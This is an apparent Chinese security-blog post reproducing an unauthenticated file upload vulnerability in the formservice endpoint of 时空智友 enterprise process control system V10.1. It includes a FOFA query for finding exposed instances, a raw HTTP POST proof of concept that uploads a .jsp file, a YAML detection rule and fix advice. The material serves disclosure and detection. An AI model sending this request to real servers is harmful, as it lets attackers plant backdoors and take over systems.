时空智友企业流程化管控系统文件上传漏洞复现

产品简介

时空智友企业流程化管控系统是一个功能丰富、灵活可定制的企业管理工具。通过该系统，企业能够实现流程的自动化、协同的提升、数据的洞察和决策的优化，从而提高工作效率、管理水平和企业竞争力。

漏洞简介

时空智友企业流程化管控系统 formservice接口处存在任意文件上传漏洞，未经认证的攻击者可通过此接口上传后门文件，最终可导致服务器失陷。

影响范围

时空智友 V10.1

复现环境

FOFA：app="时空智友V10.1"

漏洞复现

POC

POST /formservice?service=attachment.write&isattach=false&filename=a.jsp HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip

文件内容

验证url

http://your-ip/form/temp/回显的文件名

检测POC规则编写

params: []
name: 时空智友企业流程化管控系统文件上传漏洞
set: {}
rules:
- method: POST
  path: /formservice?service=attachment.write&isattach=false&filename=aa.jsp
  headers: {}
  body: "123123"
  search: ""
  followredirects: false
  expression: response.status == 200 && response.body.bcontains(b"aa.jsp")
groups: {}
detail:
  author: ""
  links: []
  description: ""
  version: ""

修复建议

接口访问权限增加强认证
设置安全组仅对可信地址开放
升级至安全版本

最后修改：2023 年 12 月 05 日
© 允许规范转载
如果觉得我的文章对你有用，请随意赞赏